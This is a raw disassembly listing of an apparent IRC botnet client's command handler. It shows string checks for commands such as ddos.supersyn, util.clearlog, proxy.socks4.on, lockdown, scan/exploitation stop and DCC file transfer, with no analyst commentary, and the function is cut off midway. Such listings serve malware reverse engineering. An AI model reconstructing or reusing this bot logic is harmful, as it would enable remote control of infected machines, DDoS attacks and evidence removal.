mov edi, eax
call sub_417AF0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_40FAB8
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS_0 ; ":%s%s"
push esi
call sub_4173AC
push ebx
lea eax, [ebp+var_4C0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_40DC10
add esp, 24h
jmp loc_40FAB8
; ---------------------------------------------------------------------------
loc_40FC16: ; CODE XREF: sub_40F6F1+3DEj
push esi
push offset aPart ; "PART"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_40FC38
push esi
push offset aQuit ; "QUIT"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FC5F
loc_40FC38: ; CODE XREF: sub_40F6F1+534j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40FC3D: ; CODE XREF: sub_40F6F1+56Cj
cmp [edi], bl
jz short loc_40FC53
push [ebp+var_94]
push edi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_40FCAD
loc_40FC53: ; CODE XREF: sub_40F6F1+54Ej
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40FC3D
loc_40FC5F: ; CODE XREF: sub_40F6F1+545j
push [ebp+var_90]
push offset a353 ; "353"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_40FD0E
push [ebp+var_84]
push [ebp+arg_8]
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FC96
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40FC96: ; CODE XREF: sub_40F6F1+59Aj
push [ebp+var_84]
push offset dword_438168
loc_40FCA1: ; CODE XREF: sub_40F6F1+5C68j
; sub_40F6F1+5FD5j ...
call sub_40C56B
pop ecx
loc_40FCA7: ; CODE XREF: sub_40F6F1+60EBj
pop ecx
jmp loc_40FAB8
; ---------------------------------------------------------------------------
loc_40FCAD: ; CODE XREF: sub_40F6F1+560j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_2DC]
push offset dword_438138
push eax
call sub_4173AC
lea eax, [ebp+var_2DC]
push eax
call sub_40C4F7
push [ebp+var_90]
push offset aPart ; "PART"
call sub_4177D0
add esp, 18h
test eax, eax
jnz loc_40FAB8
lea eax, [ebp+var_2DC]
push eax
mov eax, [ebp+var_94]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40FAAD
; ---------------------------------------------------------------------------
loc_40FD0E: ; CODE XREF: sub_40F6F1+582j
push [ebp+var_90]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_4177D0
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40FD62
push [ebp+var_90]
push edi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_40FD62
push [ebp+var_90]
push offset dword_438134
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_415956
cmp dword_42ECF0, ebx
jz loc_415956
loc_40FD62: ; CODE XREF: sub_40F6F1+637j
; sub_40F6F1+649j
push [ebp+var_90]
push esi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_40FEE8
push [ebp+var_90]
push edi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_40FEE8
mov eax, [ebp+var_88]
inc [ebp+var_84]
push 4
mov [ebp+var_8C], eax
pop esi
mov [ebp+var_C0], esi
loc_40FDA9: ; CODE XREF: sub_40F6F1+8B3j
; sub_40F6F1+944j ...
shl esi, 2
mov eax, [ebp+esi+var_94]
lea edi, [ebp+esi+var_94]
push eax
push offset dword_43812C
mov [ebp+arg_8], eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_4101E5
push [ebp+esi+var_90]
push offset aSend_0 ; "SEND"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_4100AC
cmp [ebp+var_AC], ebx
jz loc_410082
push [ebp+esi+var_8C]
mov edi, offset dword_42433C
lea eax, [ebp+var_6F4]
push edi
push eax
call sub_4173AC
push [ebp+esi+var_88]
lea eax, [ebp+var_708]
push edi
push eax
call sub_4173AC
push [ebp+esi+var_84]
call sub_41791F
mov [ebp+var_570], eax
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push 7Fh
push eax
lea eax, [ebp+var_5F0]
push eax
call sub_4182F0
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_5F0]
push eax
lea eax, [ebp+var_6F4]
push eax
lea eax, [ebp+var_2DC]
push offset dword_4380E8
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 12h
push eax
call sub_416E58
add esp, 44h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40CE56
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz loc_410065
loc_40FED2: ; CODE XREF: sub_40F6F1+7F5j
cmp [ebp+var_560], ebx
jnz loc_4100A4
push 32h
nop
call near ptr 7C802442h
jmp short loc_40FED2
; ---------------------------------------------------------------------------
loc_40FEE8: ; CODE XREF: sub_40F6F1+681j
; sub_40F6F1+697j
push [ebp+var_90]
push edi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF01
mov [ebp+var_4], 1
loc_40FF01: ; CODE XREF: sub_40F6F1+807j
cmp [ebp+var_8C], ebx
jz loc_40FAB8
push offset dword_4380E4
push [ebp+var_8C]
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_40FF28
cmp [ebp+var_4], ebx
jz short loc_40FF34
loc_40FF28: ; CODE XREF: sub_40F6F1+830j
lea eax, [ebp+var_D8]
mov [ebp+var_8C], eax
loc_40FF34: ; CODE XREF: sub_40F6F1+835j
cmp [ebp+var_88], ebx
jz loc_40FAB8
inc [ebp+var_88]
jz short loc_40FF80
cmp [ebp+arg_10], ebx
jz short loc_40FF80
lea eax, [ebp+var_928]
push eax
call sub_417AF0
push eax
lea eax, [ebp+var_928]
push [ebp+var_88]
push eax
call sub_418480
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_C0], esi
jmp short loc_40FF86
; ---------------------------------------------------------------------------
loc_40FF80: ; CODE XREF: sub_40F6F1+855j
; sub_40F6F1+85Aj
mov esi, [ebp+var_C0]
loc_40FF86: ; CODE XREF: sub_40F6F1+88Dj
mov edi, [ebp+esi*4+var_94]
cmp edi, ebx
jz loc_40FAB8
push edi
push offset dword_4380D8
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_40FDA9
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz short loc_410026
mov eax, dword_515650
mov eax, off_42EE40[eax*4]
cmp [eax], bl
jz short loc_410026
push eax
push ecx
push offset dword_4380BC
push [ebp+arg_4]
call sub_40DBCA
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_2DC]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_4173AC
lea eax, [ebp+var_2DC]
push eax
call sub_40C4F7
add esp, 20h
cmp [ebp+var_AC], ebx
jnz loc_40FAB8
push ebx
lea eax, [ebp+var_2DC]
push 1
push eax
push offset dword_51554C
push [ebp+arg_4]
loc_410019: ; CODE XREF: sub_40F6F1+59F7j
call sub_40DC10
add esp, 14h
jmp loc_40FAB8
; ---------------------------------------------------------------------------
loc_410026: ; CODE XREF: sub_40F6F1+8C2j
; sub_40F6F1+8D2j
push edi
push offset dword_438098
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_40FDA9
mov eax, [ebp+esi*4+var_90]
cmp eax, ebx
jz loc_40FDA9
loc_41004A: ; DATA XREF: ___:0042AC10o
; ___:0042AC24o
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz loc_40FDA9
push eax
push ecx
push offset dword_438080
jmp loc_40FAAD
; ---------------------------------------------------------------------------
loc_410065: ; CODE XREF: sub_40F6F1+7DBj
nop
call near ptr 7C910331h
push eax
push offset dword_438038
loc_410071: ; CODE XREF: sub_40F6F1+ACDj
; sub_40F6F1+ADEj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 0Ch
jmp short loc_4100A4
; ---------------------------------------------------------------------------
loc_410082: ; CODE XREF: sub_40F6F1+702j
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_2DC]
push [ebp+esi+var_8C]
push offset dword_437FE8
push eax
call sub_4173AC
add esp, 10h
loc_4100A4: ; CODE XREF: sub_40F6F1+7E7j
; sub_40F6F1+98Fj ...
push 1
pop esi
jmp loc_411A57
; ---------------------------------------------------------------------------
loc_4100AC: ; CODE XREF: sub_40F6F1+6F6j
push [ebp+esi+var_90]
push offset aChat ; "CHAT"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_4101FB
cmp [ebp+var_AC], ebx
jz loc_4101D4
push 13h
call sub_4170A0
test eax, eax
pop ecx
jnz loc_4101C3
push [ebp+esi+var_88]
lea eax, [ebp+var_708]
push offset dword_42433C
push eax
call sub_4173AC
push [ebp+esi+var_84]
call sub_41791F
mov [ebp+var_570], eax
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push 7Fh
push eax
lea eax, [ebp+var_5F0]
push eax
call sub_4182F0
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_2DC]
push offset dword_437FB0
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 13h
push eax
call sub_416E58
add esp, 34h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40C8F3
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_4101B2
loc_41019C: ; CODE XREF: sub_40F6F1+ABFj
cmp [ebp+var_560], ebx
jnz loc_4100A4
push 32h
nop
call near ptr 7C802442h
jmp short loc_41019C
; ---------------------------------------------------------------------------
loc_4101B2: ; CODE XREF: sub_40F6F1+AA9j
nop
call near ptr 7C910331h
push eax
push offset dword_437F6C
jmp loc_410071
; ---------------------------------------------------------------------------
loc_4101C3: ; CODE XREF: sub_40F6F1+9ECj
lea eax, [ebp+var_D8]
push eax
push offset dword_437F2C
jmp loc_410071
; ---------------------------------------------------------------------------
loc_4101D4: ; CODE XREF: sub_40F6F1+9DCj
lea eax, [ebp+var_D8]
push eax
push offset dword_437EEC
jmp loc_410071
; ---------------------------------------------------------------------------
loc_4101E5: ; CODE XREF: sub_40F6F1+6DBj
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_42ECF8
mov [edi], ecx
jnz loc_40FAB8
loc_4101FB: ; CODE XREF: sub_40F6F1+9D0j
mov edi, [edi]
push edi
push offset aIrc_activate ; "irc.activate"
mov [ebp+arg_8], edi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41595E
push edi
push offset aIrc_act ; "irc.act"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41595E
cmp [ebp+var_AC], ebx
jnz short loc_41024C
push [ebp+var_90]
push offset dword_438134
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_415956
loc_41024C: ; CODE XREF: sub_40F6F1+B3Fj
cmp [ebp+arg_28], ebx
jnz loc_415956
xor edi, edi
cmp dword_430B28, ebx
jle loc_4103F8
mov [ebp+arg_20], offset dword_446090
loc_41026A: ; CODE XREF: sub_40F6F1+B98j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_410290
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_430B28
jl short loc_41026A
jmp loc_4103F8
; ---------------------------------------------------------------------------
loc_410290: ; CODE XREF: sub_40F6F1+B88j
push offset asc_438244 ; " :"
push [ebp+arg_0]
call sub_417980
pop ecx
cmp eax, ebx
pop ecx
jz loc_40FAB8
mov cl, byte_42ECF8
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_42ECF8
mov [eax+3], cl
lea ecx, dword_4460A8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_4182F0
lea eax, [ebp+esi+var_54]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_4102E5: ; CODE XREF: sub_40F6F1+C9Cj
push [ebp+arg_20]
lea eax, [ebp+var_B8]
push offset aD_0 ; "$%d-"
push eax
call sub_4173AC
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_417980
add esp, 14h
test eax, eax
jz short loc_410351
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_410351
lea eax, dword_446090[edi]
push eax
call sub_417AF0
add [ebp+var_C], eax
pop ecx
jz short loc_410383
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_417980
pop ecx
cmp eax, ebx
pop ecx
jz short loc_410383
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A74C
add esp, 0Ch
jmp short loc_410383
; ---------------------------------------------------------------------------
loc_410351: ; CODE XREF: sub_40F6F1+C1Cj
; sub_40F6F1+C23j
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_410383
lea eax, [ebp+var_B8]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_4182F0
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A74C
add esp, 18h
loc_410383: ; CODE XREF: sub_40F6F1+C35j
; sub_40F6F1+C49j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_4102E5
lea eax, [ebp+esi+var_54]
mov [ebp+arg_20], 10h
mov edi, eax
loc_4103A0: ; CODE XREF: sub_40F6F1+CFBj
push [ebp+arg_20]
lea eax, [ebp+var_B8]
push offset aD ; "$%d"
push eax
call sub_4173AC
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_417980
add esp, 14h
test eax, eax
jz short loc_4103E3
mov eax, [edi]
cmp eax, ebx
jz short loc_4103E3
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A74C
add esp, 0Ch
loc_4103E3: ; CODE XREF: sub_40F6F1+CD7j
; sub_40F6F1+CDDj
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_4103A0
mov [ebp+var_DC], 1
loc_4103F8: ; CODE XREF: sub_40F6F1+B6Cj
; sub_40F6F1+B9Aj
mov eax, [ebp+arg_8]
mov edi, [ebp+arg_4]
mov al, [eax]
cmp al, byte_42ECF8
jz short loc_410414
cmp [ebp+var_DC], ebx
jz loc_410612
loc_410414: ; CODE XREF: sub_40F6F1+D15j
push [ebp+arg_10]
push offset aMe_0 ; "$me"
push [ebp+arg_0]
call sub_40A74C
lea eax, [ebp+var_D8]
push eax
push offset aUser_3 ; "$user"
push [ebp+arg_0]
call sub_40A74C
push [ebp+var_8C]
push offset aChan ; "$chan"
push [ebp+arg_0]
call sub_40A74C
push ebx
push ebx
lea eax, [ebp+var_B8]
push 1
push eax
push edi
call sub_4162D6
push eax
push offset aRndnick ; "$rndnick"
push [ebp+arg_0]
call sub_40A74C
add esp, 44h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push [ebp+arg_0]
call sub_40A74C
push offset aChr ; "$chr("
push [ebp+arg_0]
call sub_417980
add esp, 14h
loc_41048D: ; CODE XREF: sub_40F6F1+E90j
test eax, eax
jz loc_410586
push offset aChr ; "$chr("
push [ebp+arg_0]
call sub_417980
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_B8]
push eax
call sub_4182F0
lea eax, [ebp+var_B8]
push offset asc_437E94 ; ")"
push eax
call sub_41824D
add esp, 1Ch
cmp [ebp+var_B8], 30h
jl short loc_4104DD
cmp [ebp+var_B8], 39h
jle short loc_4104F3
loc_4104DD: ; CODE XREF: sub_40F6F1+DE1j
push 3
lea eax, [ebp+var_B8]
push offset a63 ; "63"
push eax
call sub_4182F0
add esp, 0Ch
loc_4104F3: ; CODE XREF: sub_40F6F1+DEAj
lea eax, [ebp+var_B8]
push eax
call sub_41791F
test eax, eax
pop ecx
jle short loc_410516
lea eax, [ebp+var_B8]
push eax
call sub_41791F
pop ecx
mov [ebp+var_14], al
jmp short loc_410527
; ---------------------------------------------------------------------------
loc_410516: ; CODE XREF: sub_40F6F1+E11j
call sub_417408
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_410527: ; CODE XREF: sub_40F6F1+E23j
lea eax, [ebp+var_B8]
mov [ebp+var_13], bl
push eax
call sub_417AF0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_B8]
push ebx
push eax
call sub_417430
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_B8]
push [ebp+arg_10]
push eax
call sub_4182F0
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A74C
push offset aChr ; "$chr("
push [ebp+arg_0]
call sub_417980
add esp, 30h
jmp loc_41048D
; ---------------------------------------------------------------------------
loc_410586: ; CODE XREF: sub_40F6F1+D9Ej
push 1FFh
lea eax, [ebp+var_FB0]
push [ebp+arg_0]
push eax
call sub_4182F0
lea eax, [ebp+var_FB0]
push 1FFh
push eax
lea eax, [ebp+var_11B0]
push eax
call sub_4182F0
lea eax, [ebp+var_11B0]
push offset asc_428300 ; " "
push eax
call sub_41824D
mov [ebp+var_94], eax
lea eax, [ebp+var_90]
add esp, 20h
mov [ebp+arg_10], eax
mov [ebp+arg_8], 1Fh
loc_4105DC: ; CODE XREF: sub_40F6F1+F04j
push offset asc_428300 ; " "
push ebx
call sub_41824D
pop ecx
pop ecx
mov ecx, [ebp+arg_10]
add [ebp+arg_10], 4
dec [ebp+arg_8]
mov [ecx], eax
jnz short loc_4105DC
mov ecx, [ebp+esi+var_94]
lea eax, [ebp+esi+var_94]
cmp ecx, ebx
jz loc_40FAB8
add ecx, 3
mov [eax], ecx
loc_410612: ; CODE XREF: sub_40F6F1+D1Dj
mov eax, [ebp+esi+var_94]
push eax
push offset aIrc_rndnick ; "irc.rndnick"
mov [ebp+arg_8], eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41590A
push [ebp+arg_8]
push offset aRn ; "rn"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41590A
push [ebp+arg_8]
push offset aIrc_die ; "irc.die"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4158E8
push [ebp+arg_8]
push offset aIrc_di ; "irc.di"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4158E8
push [ebp+arg_8]
push offset aIrc_logout ; "irc.logout"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41581A
push [ebp+arg_8]
push offset aLo ; "lo"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41581A
push [ebp+arg_8]
push offset aIrc_version ; "irc.version"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4157E1
push [ebp+arg_8]
push offset aVer ; "ver"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4157E1
push [ebp+arg_8]
push offset aLockdown_on ; "lockdown.on"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4156CB
push [ebp+arg_8]
push offset aLd_on ; "ld.on"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4156CB
push [ebp+arg_8]
push offset aLockdown_off ; "lockdown.off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4156CB
push [ebp+arg_8]
push offset aLd_off ; "ld.off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4156CB
push [ebp+arg_8]
push offset aProxy_socks4_o ; "proxy.socks4.on"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4155A2
push [ebp+arg_8]
push offset aProxy_s4_on ; "proxy.s4.on"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4155A2
push [ebp+arg_8]
push offset aProxy_socks4_0 ; "proxy.socks4.off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41079C
push [ebp+esi+var_90]
push 11h
push offset aServer ; "Server"
push offset dword_437DDC
loc_410782: ; CODE XREF: sub_40F6F1+10D1j
; sub_40F6F1+10F9j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push edi
loc_41078F: ; CODE XREF: sub_40F6F1+48E0j
call sub_4170E6
add esp, 20h
jmp loc_40FAB8
; ---------------------------------------------------------------------------
loc_41079C: ; CODE XREF: sub_40F6F1+107Cj
push [ebp+arg_8]
push offset dword_437DCC
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4107C4
push [ebp+esi+var_90]
push 3
push offset aServer ; "Server"
push offset dword_437DC0
jmp short loc_410782
; ---------------------------------------------------------------------------
loc_4107C4: ; CODE XREF: sub_40F6F1+10BCj
push [ebp+arg_8]
push offset dword_437DB8
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4107EC
push [ebp+esi+var_90]
push 1Dh
push offset dword_437DAC
push offset dword_437DA0
jmp short loc_410782
; ---------------------------------------------------------------------------
loc_4107EC: ; CODE XREF: sub_40F6F1+10E4j
push [ebp+arg_8]
push offset aProxy_redirect ; "proxy.redirect.off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410817
push [ebp+esi+var_90]
push 10h
push offset dword_437D7C
push offset dword_437D6C
jmp loc_410782
; ---------------------------------------------------------------------------
loc_410817: ; CODE XREF: sub_40F6F1+110Cj
push [ebp+arg_8]
push offset dword_437D60
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410842
push [ebp+esi+var_90]
push 0Ah
push offset dword_437D54
push offset dword_437D48
jmp loc_410782
; ---------------------------------------------------------------------------
loc_410842: ; CODE XREF: sub_40F6F1+1137j
push [ebp+arg_8]
push offset dword_437D38
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41086D
push [ebp+esi+var_90]
push 0Bh
push offset dword_437D2C
push offset dword_437D20
jmp loc_410782
; ---------------------------------------------------------------------------
loc_41086D: ; CODE XREF: sub_40F6F1+1162j
push [ebp+arg_8]
push offset dword_437D10
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410898
push [ebp+esi+var_90]
push 0Fh
push offset dword_437D04
push offset dword_437CF8
jmp loc_410782
; ---------------------------------------------------------------------------
loc_410898: ; CODE XREF: sub_40F6F1+118Dj
push [ebp+arg_8]
push offset dword_437CE8
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4108C3
push [ebp+esi+var_90]
push 0Eh
push offset dword_437CDC
push offset dword_437CD0
jmp loc_410782
; ---------------------------------------------------------------------------
loc_4108C3: ; CODE XREF: sub_40F6F1+11B8j
push [ebp+arg_8]
push offset aDaemon_tftp_of ; "daemon.tftp.off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4108EE
push [ebp+esi+var_90]
push 4
push offset aServer ; "Server"
push offset dword_437CB4
jmp loc_410782
; ---------------------------------------------------------------------------
loc_4108EE: ; CODE XREF: sub_40F6F1+11E3j
push [ebp+arg_8]
push offset aUtil_findfile_ ; "util.findfile.off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41558A
push [ebp+arg_8]
push offset aUtil_ff_off ; "util.ff.off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41558A
push [ebp+arg_8]
push offset aCom_procs_off ; "com.procs.off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415572
push [ebp+arg_8]
push offset aCom_ps_off ; "com.ps.off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415572
push [ebp+arg_8]
push offset aClone_off ; "clone.off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410975
push [ebp+esi+var_90]
push 18h
push offset aClone ; "Clone"
push offset dword_437C54
jmp loc_410782
; ---------------------------------------------------------------------------
loc_410975: ; CODE XREF: sub_40F6F1+126Aj
push [ebp+arg_8]
push offset aLockdown_stop ; "lockdown.stop"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4109A0
push [ebp+esi+var_90]
push 1Ah
push offset aSecure_0 ; "Secure"
push offset dword_437C2C
jmp loc_410782
; ---------------------------------------------------------------------------
loc_4109A0: ; CODE XREF: sub_40F6F1+1295j
push [ebp+arg_8]
push offset aRoot_stop ; "root.stop"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4109CB
push [ebp+esi+var_90]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_410782
; ---------------------------------------------------------------------------
loc_4109CB: ; CODE XREF: sub_40F6F1+12C0j
push [ebp+arg_8]
push offset aRoot_stats ; "root.stats"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41555E
push [ebp+arg_8]
push offset aRoot_st ; "root.st"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41555E
push [ebp+arg_8]
push offset aIrc_reconnect ; "irc.reconnect"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41553F
push [ebp+arg_8]
push offset aIrc_r ; "irc.r"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41553F
push [ebp+arg_8]
push offset aIrc_disconnect ; "irc.disconnect"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41551F
push [ebp+arg_8]
push offset aIrc_d ; "irc.d"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41551F
push [ebp+arg_8]
push offset aIrc_quit ; "irc.quit"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4154DB
push [ebp+arg_8]
push offset aIrc_q ; "irc.q"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4154DB
push [ebp+arg_8]
push offset aIrc_status ; "irc.status"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41549F
push [ebp+arg_8]
push offset aIrc_s ; "irc.s"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41549F
push [ebp+arg_8]
push offset aIrc_id ; "irc.id"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41546A
push [ebp+arg_8]
push offset aIrc_i ; "irc.i"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41546A
push [ebp+arg_8]
push offset aCom_rebewt ; "com.rebewt"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410B31
call sub_40AB95
test eax, eax
mov eax, offset dword_437B54
jnz short loc_410B05
mov eax, offset dword_437B20
loc_410B05: ; CODE XREF: sub_40F6F1+140Dj
push eax
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push edi
call sub_40DC10
add esp, 1Ch
jmp loc_4100A4
; ---------------------------------------------------------------------------
loc_410B31: ; CODE XREF: sub_40F6F1+13FFj
push [ebp+arg_8]
push offset aThreads_list ; "threads.list"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41537C
push [ebp+arg_8]
push offset aThreads_l ; "threads.l"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41537C
push [ebp+arg_8]
push offset aIrc_aliases ; "irc.aliases"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41535E
push [ebp+arg_8]
push offset aIrc_al ; "irc.al"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41535E
push [ebp+arg_8]
push offset aIrc_log ; "irc.log"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415271
push [ebp+arg_8]
push offset aIrc_lg ; "irc.lg"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415271
push [ebp+arg_8]
push offset aUtil_clearlog ; "util.clearlog"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41525A
push [ebp+arg_8]
push offset aUtil_clg ; "util.clg"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41525A
push [ebp+arg_8]
push offset aCom_netinfo ; "com.netinfo"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415227
push [ebp+arg_8]
push offset aCom_ni ; "com.ni"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415227
push [ebp+arg_8]
push offset aDdos_supersyn ; "ddos.supersyn"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_410D3A
mov eax, [ebp+esi+var_90]
push 7Fh
mov [ebp+arg_24], eax
push eax
lea eax, [ebp+var_76C]
push eax
call sub_4182F0
mov eax, [ebp+esi+var_8C]
push 7Fh
mov [ebp+arg_18], eax
push eax
lea eax, [ebp+var_6EC]
push eax
call sub_4182F0
mov esi, [ebp+esi+var_88]
push 7Fh
lea eax, [ebp+var_66C]
push esi
push eax
call sub_4182F0
push 7Fh
lea eax, [ebp+var_5EC]
push [ebp+var_8C]
push eax
call sub_4182F0
